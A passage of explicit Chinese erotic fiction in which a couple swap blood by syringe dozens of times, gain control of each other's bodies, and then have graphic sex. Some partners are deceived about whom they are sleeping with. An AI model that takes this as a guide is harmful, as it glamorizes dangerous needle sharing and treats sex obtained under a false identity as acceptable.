“嘻嘻!”整管血都注射进去之后,她笑着说:“现在我身体里面,有你的血耶,好好玩喔!”

“我亏大了!”我开玩笑地说:“我白白送你20cc的血。”

“那,再从我这边,抽20cc,注射给你吧。”她说。

想不到我的一句玩笑话,开启了一场既快乐又痛苦的……恶梦一般的游戏。当我看着小菁将那管从她身体抽出来的血,注射到我体内时,我竟然硬了……她的静脉血,呈现深红色,和我的血表面上看起来没什么两样,但是,我知道那不一样。

那是正妹的血,刚从小菁的身体里面抽出来,里面充满着正妹的红血球、白血球和血小板。

俗话说的好,正妹连放屁都是粉红色的。

此刻,我看着小菁的血,感觉她正将一管粉红色的液体,注射进我体内。我的体内,正流动着小菁的血液!

想到这点,我感觉下面好痒好热,老二硬梆梆地翘起,一股难以言喻的快感从下体蔓延开来,让我感觉全身飘飘然的。

这真是他妈的变态,却又他妈的爽啊!那晚,我们总共交换了四次血液。她从我这抽了四次血,注射到她体内,再从她身体抽四次血,注射到我体内。每当她把针头插入我静脉,慢慢将血液注射进来时,我都感到一股极大的快感,在下体轰然焖烧着。

我突然想到,这不就跟做爱没两样吗?

接吻和做爱,都是在进行体液交换,是口水和口水的交换、淫水和精液的交换。

然而,此刻,我正和小菁进行着人体最基本、最深层的体液,也就是血液的交换啊!

隔天,那晚的情景一直在我脑中挥散不去,我一想到她把血液打入我体内的画面,老二便硬梆梆地翘起。

“哦……哦……小菁……”房间里,我满身大汗抓着老二上下搓动着。我反复回想昨晚的每一个细节,每想一次就感到极度的兴奋。

我体内流动着小菁的血液、对我而言,接吻和做爱,已经不算什么了。因为,小菁的体液,已经直接在我体内,随着血液循环,不断流动着。也就是说,我等于无时无刻,都在和小菁做爱啊!我感到兴奋无比,反复搓着老二,射了一次又一次,我总共射了六次,才稍微冷静下来。

我还要、我还想要更多小菁的体液!

当晚,看完娘家后,我主动提出交换血液的要求。

“小菁……我们再来玩昨天那个……好不好?”

“抽血吗?”小菁笑着说:“好啊,我也觉得好好玩。”

于是,我们又到她的房间,玩着交换血液的游戏。

我发现一件事,当小菁把我的血液,注射进她的体内时,她鼻中会细细地喘着气,两腿也不停地互相磨蹭着。

看来小菁也从交换血液这件事当中,获得极大的快感!

当晚,我们总共交换了十次血。

接下来的一个礼拜,我们每天都玩着交换血液的游戏,我们交换的次数逐渐增多,到最后,甚至一个晚上交换了五十几次血液,一直弄到凌晨两三点才意犹未尽地结束。

长久下来,我和小菁的手臂内侧,已经坑坑巴巴地满是针孔,活像吸毒犯一样。

或许,某种程度而言,这样交换血液的游戏,其实和吸毒没什么两样吧?随着期末考渐渐逼近,我深陷期末考的地狱中,每天晚上的换血游戏,成了我一天当中最期待的消遣。

我每天都要幻想着小菁的血液在我体内流动的情景,一边尻着枪,一天都可以喷个五六次。

就这样,一个礼拜过去了,我们不停地交换血液,交换了这么多,我和她体内,应该都各有彼此一半的血液在流动着吧?

想到这点,我感到更兴奋了。

接着,不寻常的事发生了。一切就像瓦斯爆炸一样,发生得这么突然。那天是期末考前夕,我无心看电视,坐在书桌苦读着个体经济学。

小菁则是一如往常,坐在电视机前面,专心地看着娘家。

“也许有了伴的路,没有岁月可回头……”娘家演到一半进广告,响起这段音乐,接下来是一连串药品的广告。

我觉得电视的声音实在太吵,让我无法专心念书。要把声音关小声一点……我这么想着。

这时,小菁突然拿起遥控器,将电视的声音关小了。

她怎么知道我嫌电视太吵?

大概是巧合吧。我继续埋首于经济学课本中。

过了不久,我心想,电视开着还是很吵,要是能直接关掉该有多好。就在这时,小菁拿起遥控器,把电视关掉了。

“咦?”小菁说:“我在干什么?为什么突然关电视?”

咦?刚才是怎么回事?

“讨厌啦,人家还要看。”小菁说着又把电视打开。

刚才究竟发生什么事?为什幺小菁会照着我心里所想的进行动作?

我决定实验看看,我专心想着,摸自己胸部、摸自己胸部、摸自己胸部、摸自己胸部、摸自己胸部……神奇的事情发生了,小菁竟然擡起手,两手放在自己的胸部上面!

天啊!我竟然可以控制小菁的身体!?这究竟是怎么一回事?

这是怎么回事?为什么我可以控制小菁的身体?

正当我纳闷着,奇怪的事又发生了。

我发现原本的视野当中,隐约出现另一个重叠的视,并且变得越来越清晰,我仔细一看,眼前赫然出现电视广告的画面,和我原本的视野重叠在一起。

这是三小?为什么我会看见两个画面?

过了几秒钟,我立刻明白了,如果从小菁的视角看过去,就会看见她眼前播放的电视广告。

突然,广告那层画面突然向左旋转,我看见了我自己…仔细一瞧,原本的视野中,小菁正瞪大眼睛,一脸惶恐地盯着我。

“怎么搞的?”小菁大叫:“为什么我看见两个画面?”

“我也是……”我说。

我陷入沈思,努力思考着眼前是什么状况。我想要伸手抓头,可是擡起来的不是我的手,而是小菁的手。

小菁的手伸到头上,抓着自己的头发。

接着,我的手突然自己举了起来,摀住我自己的脸颊。

“干!”我大吼:“三小啦!为什么我的手会自己动?”

“我的身体也不听我控制。”小菁大叫:“手自己在乱动啊!”

话才说完,我放在脸上的手突然往右拉开,狠狠巴了自己一下。

“哎唷!”我大吼:“干嘛巴我啦!”

“我可以控制你的身体耶。”小菁大笑着说:“好好玩喔。”

“那我也要控制你的身体。”我说。

我心里专心想着,小菁,过来帮我打手枪、过来帮我打手枪、过来帮我打手枪、过来帮我打手枪、过来帮我打手枪…..

当我这么一想,小菁立刻一跃而起,拉开我裤子拉链,掏出我的老二,纤纤玉手快速搓动起来!

“好讨厌!”她大叫着:“人家不想抓鸡鸡啦!”

话一喊完,她的手立刻缩了回去。看来,我可以控制小菁的身体,她也仍然可以控制自己的身体,刚才我们正互相争取她身体的主控权!

经过一段混乱的争论,我们终于勉强推测出发生在我们身上的事情。“志明,你有没有听过‘细胞记忆’?”小菁问我。

“细胞记忆?”我说:“没听过。那是什么?”

“我看过一则报导。”小菁说:“英国学者发表一篇论文,他认为人类的记忆并不是储存在脑中,而是储存在全身上下的每一个细胞内。”

“英国研究……是吧?”

“有一个实际案例。”小菁说:“某个肝病患者,接受了死刑犯的肝脏移植,康复之后,原本脾气很好的他,开始出现严重的暴力倾向。”

“原来如此!”我大叫:“因为我们每天交换血液,同时也交换了血液中的细胞记忆,意识变得可以互通了!”

由于我们两人,每天玩着交换血液的游戏,因此彼此身体里都有对方的记忆和意识。

简单来说,就是两个人,彼此共用着两个身体、共用两个心灵,还能分享彼此感官接受到的刺激。

比如说,我可以控制着小菁的手,打她自己一下,而我也会感到被打的疼痛感。

同样的,小菁也可以控制我的身体,共享我的感官。万万想不到,原本只是为了好玩的交换血液游戏,竟然让我们的身体,出现如此不可思议的变化!

问大家一个简单的问题。

如果有一天,你可以控制正妹的身体、感觉到正妹的感觉,你第一件事会做什么?不用说,一定是赶快对她的身体猥亵一番啊!

我二话不说,控制小菁的手,摸向她自己的下体,轻轻摸了几下,天啊,好爽喔!

“不要对人家身体乱来啦!”

小菁抗拒着将自己的手抽了回去。

“小菁,我们来做爱吧!”我大吼。

“你、你不敢……”小菁似乎想做最后的抵抗。“我说过你不敢。”“如果是交换身体的话,我就敢!”我大叫:“来吧,难道你不想体验一下男生做爱的感觉吗?”

“嗯、嗯……”小菁含煳地应着。

“来吧,”我用小菁的嘴巴大叫着:“现在我是你、你是我,快点把我扑倒吧!”

小菁犹豫了一下,还是开始动作了。

她控制着我的身体,将她自己的身体推倒在床上。

对于控制对方的身体这件事,我们显然还不太熟练,动作生硬又不自然。我们一边摸索一边尝试地动作着,脱光彼此的衣物。

此刻,我和小菁全身赤裸,一丝不挂地展露在对方面前。

从小菁的视野看出去,我看见我的身体,天啊,好丑喔,而且肚子上有一圈肥油。

小菁用我的手,抓着我的鸡鸡,轻轻搓了起来。

“啊、啊、”小菁叫着:“原来身上长着鸡鸡,是这种感觉。”

“原来身上没有鸡鸡是这种感觉。”我也摸着小菁的下体说。

小菁把玩了一阵老二,把头转向我。

“嘻嘻,”她说:“我的身体看起来好漂亮喔。”

“想不到你这么自恋……”

我说着,只见小菁用我的手轻轻掰开她的双腿,把头凑到她的跨下,伸出舌头舔了起来。

瞬间,我感觉腿间一道电流窜出,直窜入四肢百骸,又酥又麻,舒爽无比!这就是女生被舔下体的感觉吗?实在是太舒服了!

“啊……”我忍不住发出呻吟,当然,是用小菁的嘴巴。

她的声音清脆甜美,我又张嘴一叫,只觉得发出来的声音悦耳动听,既淫荡又可爱无比,心理快感直线飙升!

“我的下面好好吃喔。”小菁含煳地说:“味道很香呢!”

“你没有闻过吗?”

“废话!我自己怎么闻得到?”

“舔够了没?”我大叫:“快点插进来吧!”

“好,我要来插插看了。”

只见我的老二已经硬梆梆挺立起来,小菁扶着老二,对准阴道,轻轻一督,整根鸡巴就这样滑了进去。

“啊呀!”小菁大叫:“原来这就是鸡鸡插进阴道的感觉!”

“原来这就是阴道被插的感觉!”

我们不约而同大唿出声,仔细体验着彼此身体感官的刺激。

“啊,好舒服!”我们又同时大叫一声。

“快点抽插吧!”我大叫。

“我、我不太会……”

“就屁股前后扭动,用腰部的力量。”我说。

小菁按照我的指示,控制着我的屁股,一前一后地动了起来,鸡巴也因此进进出出地抽动着。

随着鸡巴的抽动,我感觉阴道传来一阵阵奇妙的快感,这是我从来没体验过,也无法言喻的感觉。

我清楚感觉到我的大鸡巴,把阴道撑得很开,阴茎表面紧紧摩擦着阴道壁,每动一下都传来非常舒服的感觉。

“用力顶我!”我大叫:“用力顶最里面看看。”

小菁听话地将鸡巴退了出去,只留龟头在阴道内,接着她用力往前一顶,我感觉龟头撞击到体内深处某个点,瞬间酥麻感从小腹一涌而出,仿佛爆走一般流窜到全身上下,让小菁的手脚不听使唤地抽搐起来。

“对,就是这样!用力一直顶!”我大吼。

小菁于是使劲全力,用力干着自己的阴道,而阴道传来的快感,源源不绝地传入我的脑中,我只觉得舒服到极点,忍不住发出一声声淫叫!

“啊、啊、啊、”我和小菁不约而同,用相同的节奏呻吟着。

随着小菁的抽插,那股快感越堆越高,终于一口气爆发出来。

我感觉小菁的小腹喷发出一股热流,飞快地扩散到四肢百骸,小腹不由自主地一下又一下收缩着,随着每一下收缩,跨下便涌出一道热流,一直冲进我的脑中。

我知道,小菁的身体高潮了!

就在这时,我的身体也高潮了,龟头前端射出大量浓精,全部射进小菁的体内。

天啊!我该怎么形容此刻的感觉?

男生的高潮和女生的高潮,结合在一起,一起出现在脑中,这样到底有多爽,大家能体会吗?

“啊、啊呀、”小菁呻吟着:“射、射出来了吗?原来男生的高潮是这种感觉,跟阴蒂高潮好像喔。”

“天啊,太舒服啦!”

“人家也是。”小菁害羞地说:“人家还想再一次。”

“好啊,来吧!”

“可是,你的鸡鸡,怎么软软的,硬不起来。”小菁说:“要怎样让它硬起来呀?”

“等个十分钟吧。”

过了不久,我的鸡巴再度硬挺起来,于是我们又来了一发。

现在,我们已经能熟练地控制两个身体、以及分辨两个感官,因此这次的高潮,比刚才又更加强烈!

“唿、好、舒服。”我说:“肚子饿了,先吃个东西再继续。”

我冲到楼下便利商店买了一条土司和果汁,和小菁飞快地吃喝一通,又继续开始做爱。

这场奇特的性爱,持续长达八个小时,我们一次又一次地做爱,直到我们两个的身体都使不上力,这才意犹未尽地停了下来。

经过这段交换身体和意识的性爱,我逐渐发现两个共用意识的规则。第一,我一次只能控制一个身体,如果我专心控制小菁的身体,我的身体又没人控制的话,就会像木头人一样呆立不动。

第二,虽然同时感觉得到两个感官的刺激,但可以选择只接受其中一个。例如我可以选择只看我看见的影像、或是只看小菁看见的影像,也可以两个都看,那么影像就会重叠。其他感官亦同理。

“靠腰,天都亮了!”我看着窗外,不禁大吃一惊!“今天要考微积分和统计学说!快,我们身体换回来。”

“嗯。”小菁说。

我把意识转回自己的身体,顿时感觉全身又酸又痛,根本使不上力!而我的鸡巴也又肿又胀,轻轻一碰就剧烈发痛。

“靠腰!”我大吼:“你把我的身体操成这样,我要怎么去考试?”“对、对不起嘛……”小菁说:“一不小心玩过头了。”

“算了,这两科就给它当好了。”

“不然这样,”小菁说:“我用你的身体,帮你去考试。”

“咦?可以吗?”

“可以,”小菁笑着说:“保证让你高分pass!”

“那你怎么办?”我问:“你今天也要期末考吧?”

“你去帮我考呀。”小菁说:“随便考考就可以了,我期中分数很高,就算不考也能欧啪。”

“那就这么说定啰!”

于是我和小菁互相交待考场等细节,她便控制着我的身体,背上书包,前往清大考期末考了。

我则是控制着小菁的身体,走进浴室,对着镜子又玩弄一番。

我看着镜中的裸体,她的身体好美好漂亮,性感的肩膀和锁骨,浑圆的奶子,没有多余脂肪的小腹和高高翘起的屁股。

我忍不住在她全身上下乱摸一通,再将手伸到跨下,意犹未尽地抠弄几下。天啊,我真是太变态了,不过如果换成别人,一定也会这么做吧。

玩弄完她的身体后,我才到她的房间,穿上她的内裤、胸罩,再挑了一件我最喜欢的绑带小可爱和超短热裤,骑上她的车子,往仁德护专去了。

在仁德护专,又会发生什么阿力不达的剧情呢?我心中暗暗期待着。我沿着西滨公路,把油门催到底,用100公里时速一路狂飙,一路上好几次差点撞到安全岛。

反正撞到了死的是小菁不是我,抱着这样差劲的心态,我闯了好多次红灯。天啊!从新竹到后龙,竟然这么远。

她每天都骑这么远的路上学吗?

我迎着强风,一口气狂飙到了仁德护专,看看时间,刚好要开始考试了。仁德护专有着广大的校园,又宽又大的柏油路旁,坐落着一栋栋白色干净的大楼,建筑外表给人相当严肃的感觉。

我赶到小菁所说的考场,考试正好开始。

“小菁,早!”

“巧菁你来了耶!”

“后,你又差点迟到。”

许多女生向小菁打招唿,看来小菁的人缘相当不错。

放眼望去,整间教室全是女生,我仿佛置身充满女生的天堂一般,顿时感到飘飘然的。

说到清大的女生,大多集中在人文学院里面。

我的经济系属于科技管理学院,女生算是整个学院中最多的,但大多是不会打扮的普妹,能上得了台面的没几个。

此刻,只见四面八方全是正妹,每一个都打扮得浓妆艳抹、清凉火辣,随便一瞄都是大腿腋下,真是令我大饱眼福,眼睛狂吃冰淇淋。

反正我现在控制的是小菁的身体,再怎么看都不会有人在意,我索性把每个女生从头到脚看个够,天啊,前面的妹穿得好露,可以清楚看见她的屁股沟,还有丁字裤头。

后面的妹有够台,穿着细肩小可爱和黑色网袜。

左边是个大正妹,脸超正,可惜身体又瘦又干,是个贫乳。

右边是个巨乳妹,硕大的奶子就直接摆在桌上!

果然,在清大读了一年,母猪都快要赛貂蝉了,此刻在我四面八方的女生,随便一个都和小菁有得拼。

我现在才知道,原来护专有这么多正妹!

第一堂考的是产妇照护,投影机播出一张张照片,对照考卷上的题目,每一题都是选择题。

我一题都看不懂,ABCD乱猜一通。

第二堂考的是大体解剖,妈呀,这些一片片的人体横切标本,看起来好恶心啊!我怎么认得那些器官,就在考卷上胡乱写写。

第三堂考的是婴幼儿照护,在实习病房内,放着一个个婴儿模型,要对着模型进行操作。

我怎么懂照顾婴儿,对着模型乱搞一通。如果是真实的婴儿,早就被我搞死了吧。

就这样,度过了漫长的考试时间,今天的考程终于结束了,四周的女生们吱喳着大声谈笑,鸟兽散去。

我看着那群女生的大腿和屁股,慢慢整理包包,这时背后突然传来一道低沈的声音。

“巧菁!”

我回头一看,只见一个型男,理着俐落的短发,帅气地背着书包,正直直地盯着我瞧。

不过,奇怪的是,这个男生,身穿护理科的实习制服,下半身竟然穿着裙子。看起来一整个别扭。

“巧菁,你真的不想理我了吗?”

我愣了一下,这才反应过来。原来眼前这人,其实不是男生,而是女生!她是个女T男人婆!

“巧菁,上次真的很对不起。”那女T说:“我觉得很徬徨、很困惑,所以才对你讲那些话,我不是真的想抛弃你,你愿意原谅我吗?”

看到眼前的女T,装出一副潇洒帅气的样子,刻意压低声音,自以为深情款款地念台词,看了真想把她巴下去。

听她这么一说,我才突然想起,

这篇连载第二回的地方,小菁一度喝得醉醺醺,嘴中嚷着自己被抛弃。原来她不是被男人抛弃,而是被眼前这个女T抛弃吗?我的天,这是什么奇怪的世界啊!

“我已经想通了,因为我是T,”女T说:“所以我要像个男人,给你一个坚强的肩膀和温暖的依靠,我已经做好觉悟,也准备好了,小菁,回到我身边,好吗?”

当然好啊,有什么不好的呢?我心想。

“嗯。”我轻轻点头。

“真的吗?”女T开心地笑了起来。“快跟我来吧。”

女T拉起我的手,朝教室外大步走去,当我们终于停下脚步,我不禁大吃一惊!

她把我带到女厕了,她想对小菁的身体做什么!?

此刻,我们紧紧挤在女厕的小隔间里,女T轻轻关上门,四周非常安静,只听得见我们两个的唿吸声。

“小菁,我好想你。”女T说:“这几天,我无时无刻都在思念着你。”说完,她嘴巴凑了上来,轻轻覆上我的嘴唇。

我愣了一下,便配合地和她接吻着,伸出舌头和她交缠。

我们喇舌喇了一阵,她的手开始不安分地在我身上游走。她一手摸着我的胸部,一手伸向我的跨下,隔着我的小短裤,慢慢抚摸我的下体。

接着,她拉开我背后的绑带,粗鲁地、自以为很man地帮我宽衣。她脱了我的上衣,扯掉我的胸罩,拉下我的裤子,再脱掉我的内裤。此刻,我的身体,也就是小菁的身体,整个赤裸裸地呈现在她面前。她脱光我的衣服,开始脱自己的衣服。我默默看着她宽衣解带,过了不久,她也全身赤裸,和我相对着。

天啊,她的胸部好小,简直可以说没有胸部,整个是平的,要不是她的奶头像花苞一样大颗,我一定会以为这是男人的裸体。

我往下看去,看见她平坦的小腹下面,黑黑的一小片阴毛,毕竟看见的是女人的身体,看到这个画面,我忍不住硬了……不对,是湿了!

女T那张男人的脸上面,眼睛眯了起来,深情款款地看着我。

接着,她整个身体贴了上来,轻轻地抱住我,双唇再度覆上我的嘴,一手搓着我的奶头,另一手从我屁股后方摸了进去,抚弄着我的阴户。

瞬间,我感到下面好湿好热,不禁感到一阵意乱情迷,我也伸手抱住她,轻轻摸着她的背嵴,放松全身,感受着下体传来的刺激。

这就是女生被勾起性欲的感觉吗?我一边和她爱抚,一边仔细体验着全身上下传来的细微震颤。

她和我吻了一阵,嘴巴开始慢慢往下亲,吻过我的下巴、颈子、锁骨,最后一口含住奶头,舌尖贴着乳头,轻轻挑逗着。

同时,她原本从后面爱抚的手,回到前面,顺着我的小腹慢慢往下滑,摸到我的阴蒂,在阴地上缓缓绕了两圈,接着探向阴道口,轻轻地戳了进去。

瞬间,一股电流从跨下窜出,顺着背嵴往上窜到全身,让我大腿肌肉忍不住紧缩一下,舒服无比。

有一句女同圈流行的俗话说的好:女人最懂女人的身体。此刻,我完全体会这句话的含意。

那女T在我体内的手指,一下轻勾,一下深入,一下旋转,一下绕圈,偶而轻触一下阴蒂,每个动作都让我的阴道舒服到极点,简直飘飘欲仙!

“嗯……啊……”我忍不住用小菁的嘴巴,发出阵阵娇嫩的呻吟。

“舒服吗?”女T笑着问:“小菁,我也好想要,快点摸我吧。”

我一听,也学着她,一只手捏着她的小奶,另一只手顺着她的小腹往下滑,摸到她的阴户。

她的下面已经湿透,淫水氾滥成灾,我用中指沾了一些淫水,涂在她的阴蒂上,指关节贴着阴蒂缓缓绕圈,食指则在她的阴道口前后滑动,轻轻地挑逗着。

“啊、啊……”她用低沈的声音娇喘着:“小菁……你什么时候变得这么厉害……啊……被你弄得好痒。”

废话,我可是玩过女人的男人,这点小技巧根本不算什么吧。

随着我俩互相的抠弄,我们嘴巴同时发出呻吟声,在空荡的厕所中回荡。不久,她停止挑逗,把中指和无名指一起插入我的阴道,一进一出地抽动着,开始放肆地进攻。

“啊、啊、啊、”她的手指用力磨过我的G点,我感到快感从下体源源不绝涌出,忍不住大声淫叫起来。

“舒服吗?舒服吗?爱不爱我?爱不爱我?”

女T一边抽插我的阴道,嘴中不停问着问题。我感觉G点的快感不停窜出,涌入我四肢百骸,全身上下不由自主地抽搐着,根本没办法开口回答她。

真的是女人最懂女人,她戳着我的阴道,每一下都戳到最舒服的那个点,快感逐渐累积,越堆越高,终于一口气爆发出来。

“啊啊啊、啊啊、到了、到了、”我大叫着。

我感觉小腹一股暖流爆发出来,子宫不听使唤地一下一下用力收缩,随着每一次收缩,下面就窜出一股难以言喻的快感,接着那股暖流慢慢扩散到全身,我感到四肢百骸无不软绵绵的,舒服到了极点!

“爱不爱我?”女T在我耳边低声呢喃。

“我爱你……”我呻吟着。

如果是小菁,她应该也会这么回答吧?

*****

我们互相取悦着对方的身体,高潮了一次又一次。

女厕内,蹲式马桶的隔间,地板上,我和她双腿交缠,互相磨蹭着下体。我们全身香汗淋漓,皮肤闪着亮亮的光泽。

“啊啊啊啊啊啊”我和她同时发出剧烈的淫叫声。

我热切地迎合着她,感觉自己的阴蒂和她的阴蒂互相摩擦,激发出强烈的快感,同时,由于这是我第一次用女生的身体和女生做爱,心理快感也直线飙升。

要不是和小菁交换意识,我想我这辈子,根本没办法体验女女做爱的感觉吧!我和她磨蹭不久,我又高潮了一次,大腿出现剧烈的抽搐,接着,她放声大叫,大腿用力夹着我的小腹,看来她也高潮了。

终于,我们满足地停止了做爱。

“小菁……我告诉你。”她抱着我,幽幽地说:“其实,我还是很困惑。”“怎么说?”我问。

“我不知道,自己到底是男人还是女人。”她咬了一下嘴唇,继续说:“不知道自己该用什么面貌,活在这个世界上。”

这是什么问题呀?从我的观点来看,答案再明显不过。

“你……当然是女人啊。”我毫不考虑地回答。

“不对,不是这样的!”她忽然大叫起来:“为什么?为什么连小菁你也这么说?”

“到底怎么啦?”我一头雾水。

“看看我!”她大吼:“你看看我这样子,我真的是女人吗?我根本就不是个女人,我是女人身、男人心,我是T,是个男人婆!”

“呃……”我沉默了一下,说:“那你就当个男人吧?”

“我办不到!”她哽咽着,大叫:“我根本没那个肩膀,也没那个魄力!我不能给你依靠,不能保护你、照顾你,我根本没那么坚强,我办不到!”

我一听,登时哭笑不得。这女生是怎么搞的呀?

“当男人不难。”我把我的观点讲给她听。“当男人不一定要坚强,你可以当一个很废的男人啊。”

就像我一样,一个很废的男人,连把小菁扑倒的勇气都没有的男人。“这、这样你还会爱我吗?”她哭了起来:“你能接受像我这样,一个半吊子的男人吗?”

“可以啦。”我安抚着她:“我爱你唷,乖啦,不要哭了,要像个男子汉,不可以在别人面前哭成这样。”

“谢谢你……”她抱着我,大哭着说:“谢谢你,小菁,我真的好爱你。不要再离开我了,好吗?”

现在是什么情形呢?我真的哭也不是、笑也不是,我现在,正在帮小菁处理她和女T之间的感情问题,怎么会这么白烂。

*****

我和女T又做了好几次爱,接着就各自回家了。

我用时速100公里,狂飙回到新竹的公寓。

一走进房间,就看见小菁正控制着我的身体,坐在电脑前面,看着A片,手中抓着老二上下搓动。

“你在干嘛?”我大叫。

“在体验男生看A片的感觉呀。”她笑着说:“嘻嘻,好好玩喔。”“那个,”我说:“今天在学校,有个男人婆,有够莫名其妙的。”“她喔……”小菁说:“大家都叫她王爸啦,她怎么啦?”

“她哭着跟你道歉,”我说:“叫你回去跟她在一起。”

“哎唷,搞不懂她到底在想什么。”小菁说:“我早就不在乎她了说。”小菁嘴巴上说不在乎,前几天哭得这么难过是怎么回事。小菁到底在想什么,比较难搞懂吧。

“那个……王爸到底怎么搞的?”我问:“怎么讲话怪怪的?”

“她国中的时候被大叔强暴。”小菁说:“从那时候就变那样了。”“是喔……真可怜呀。”我顿了一下,问:“你今天考得还好吧?”“不用担心,你会欧啪的。”小菁说。

“有发生什么事吗?”

“有啊。”小菁一只手放在下巴,说:“我用你的身体,做了一件很好玩的事,我告诉你,你不可以生气喔!”

“你……用我的身体搞了什么?”我心中浮现不详的预感。

“我向你班上的女生告白了。”

“三小啦!”我大吃一惊!“你跟谁告白?”

“班上的女生。”小菁笑了起来。“你班上每一个女生,我都跟她们告白了,嘻嘻!”

“每个女生都告白了!?”我双腿一软,差点没有晕过去。“结果勒?”“嗯……有三个答应了喔!”小菁一只手指着下巴说。

“哪三个?”我气急败坏地问道。

“我想想喔……我记得叫弥雅、澄雪和晴舒。”

我一听,不禁大吃一惊!这三个人,竟然就是班上前三名最正的女生啊!“怎么会是这三个……”我喃喃自语。

“不止三个。”小菁笑着说:“还有另外一个是助教。”

“连助教你也告白了?”我真的要晕倒了。“那助教是谁?”

“她叫珮如。”小菁说:“总共是四个女生答应喔。”

“天啊!”我惨叫起来。“你怎么办到的啊?”

“只有女人最懂女人。”小菁笑着。“我一看到她们的外表,立刻就知道她们是什么类型的女生,最能接受怎样的告白方式,百分之百一定能成功!……喂,你怎么了?振作一点。”

小菁用力摇着我的肩膀,我全身无力,口吐白沫。

“我对你很好了耶!”小菁说:“我把最能成功的告白内容,留给最正的那几个女生,你应该要感谢我呀。”

我简直不知该暗爽还是该担心,登时哭笑不得,傻在原地。我从来没有想过要对那些女生告白,也没有想过要和正妹交往,更何况她们之中有人已经死会很久了,那个助教更是听说已经结婚生子了啊!

“我、我现在要怎么办?”我结结巴巴地说:“要跟她们……交往吗?还是趁事情还没恶化,赶快拒绝?”

“你担心这个干嘛?”小菁说:“现在是我控制你的身体,交给我来应付就可以啦。”

“好!”我大吼:“你捅的篓子,你要给我负责收拾善后!”

“什么叫收拾善后?事情根本还没开始呀。”

“什么意思……?”

“我跟她们约好了。”小菁说:“她们今天要全部来你家,和你做爱……喂!你还好吧?”

小菁用力拍着我的脸颊,试图把快晕过去的我打醒。

“告白第一天就要来做爱?”我大叫:“你到底对她们说了什么?怎么有办法这样?”

“秘密。”小菁嘻嘻笑着说:“就告诉你了,只有女人最懂女人,嘻嘻!”“那我要……和她们做爱?”

“想得美!”小菁说:“你给我去房间乖乖待好,她们是要来给我享用。”话才说完,就听见“咚咚咚”的敲门声。

“第一个已经来啰!”小菁笑着跑去开门。

门一打开,只见弥雅紧绷着脸,慢慢走了进来。她用充满敌意的眼神,瞪了我(也就是小菁的身体)一眼。

“这个女人是谁?”弥雅指着我说。

“她只是邻居而已,来借酱油的。”小菁塞了一瓶酱油到我手中。“去去去,你快回去。”

我拿小菁没辙,只好乖乖走回小菁的房间,躺到床上,将感官转移到我自己的身体上。

眼前出现我身体看见的画面,只见小菁控制着我的身体,和弥雅面对面,正讲着一些无关痛痒的屁话。

弥雅今天身穿白色T恤和七分牛仔裤,穿着十分保守。

弥雅本身就是一个思想保守、个性严肃的女孩子,据说她是虔诚的基督徒,非常彻底地反对婚前性行为。

她有个读交大的男友,据说他们交往四年到现在,都还没有做过爱。班上同学每次提到这件事,无不啧啧称奇。

“弥雅的男友好可怜喔,都上不到她。”大家都这么说着。

话虽然这么说,不过弥雅要信仰什么宗教、对性抱持怎样的态度,完全是她个人自由,应该要给予尊重。

可是,现在弥雅竟然跑来我房间,要和我做爱?

小菁到底对她讲了什么,竟然这么厉害!难道我今天真的能和这个基督徒做爱吗?

“志明……我、我还是处女。”弥雅说:“要对我温柔一点喔。”

“嗯,我当然会很温柔。”小菁说:“我这么喜欢你欸!”

小菁两手抓住弥雅的肩膀,说:“一定会让你很舒服,嗯嘛!”

说完,小菁双唇覆上弥雅的嘴,两人开始接吻起来,同时,小菁双手没有闲着,一边吻着,一边脱去两人身上的束缚。

不久,我的身体和弥雅的身体,已经一丝不挂,赤裸裸地呈现在对方面前。小菁轻轻把弥雅推倒在床上,掰开弥雅的双腿,嘴巴凑了上去,轻轻舔着。真不愧是处女的下体,弥雅那尘封将近19年的鲍鱼,散发一股清甜的香味,完全没有多余的骚味或臭味。

当然,弥雅下体的味道、舌头舔过阴唇的触感、脸颊碰到弥雅大腿的触感,全都非常清楚地传入我的脑中。

天啊,我现在竟然变成旁观者,看着我自己的身体,舔着弥雅的私处,还能感受到我的感官受到的感觉!

世上竟然有如此奇特的事。

我仔细观察弥雅的下体,她真的是处女,阴道口又小又窄,紧紧地密合着,下体没什么毛,就好像国中生的鲍鱼一样。

“嗯……啊……”随着小菁的挑逗,弥雅发出了压抑的呻吟。

小菁舔了一阵,只见弥雅的阴道口已经汩汩流出淫水,小小的阴户都湿漉漉的。

小菁于是扶着老二,在阴道口磨蹭几下。

“要进去了喔。”小菁温柔地说:“放轻松,稍微忍耐一下喔。”

弥雅用力点点头,然后紧紧闭上眼睛。

小菁用非常非常慢的速度,慢慢将老二督进弥雅的小阴道内。

瞬间,弥雅阴道的触感,阴道壁四面八方包覆着龟头的感觉,全都清晰地出现在我脑中,天啊,好舒服!

我感觉龟头碰到一圈柔软的阻碍,阻挡了龟头的前进。那应该就是处女膜了吧。

小菁轻轻地吻着弥雅的脖子,用非常温柔的力道,将龟头突破那层阻碍,整只老二都插了进去。

“啊啊啊!”弥雅发出一道痛苦的尖叫。

“乖,再忍一下喔。”小菁温柔地说:“你已经是我的女人了。”

小菁说完,老二开始慢慢地前后抽动,她每动一下,弥雅就“啊”的一声。天啊,真不愧是处女的阴道,又窄又紧,紧紧夹着我的龟头,虽然有点痛,但真他妈的舒服!

小菁慢慢抽插了一阵,很显然,弥雅已经逐渐习惯下面的撑开感,原本痛苦的呻吟转变成细细的呻吟。

小菁见状,立刻加快了抽插的速度,老二在弥雅的阴道内快速地滑进滑出。弥雅的阴道好湿好紧,柔软的阴道壁摩擦着我的龟头,我只觉得龟头又麻又痒,舒服到了极点!

万万想不到,我今天竟然能干到处女,而且还是弥雅这样的基督徒!更奇怪的是,竟然不是我在控制身体,只能像旁观者用大脑感觉,这样的情形,让我心理快感爆增!

突然,小菁猛地增加了力道,用力顶着弥雅的阴道深处,弥雅的身体剧烈痉挛起来,四肢像是不听使唤地狂乱挥动,两手拼命往床单乱抓。

“呀、啊、啊、呀、啊!”弥雅随着冲刺的节奏,一下又一下地淫叫着。我感到龟头顶到弥雅的阴道尽头,传来清楚又强烈的感官刺激,让我不禁也呻吟起来。

冲刺了将近一百下,弥雅突然张大嘴巴,叫不出声,眼神迷濛,全身紧绷着,看来已经被干到高潮了。

这时,我的老二也射出精液,全部射进弥雅的子宫内。

我和弥雅紧紧拥抱着,一起感受着高潮的快感。

天啊,这实在太舒服了,不止是龟头的舒爽感,还有干着处女基督徒的心理快感!

“我已经把身体给你了。”弥雅喘着气,满脸通红地说:“你会珍惜我、爱护我吗?”

“当然。”小菁温柔地说:“你是我的女人,我会好好珍惜的。”

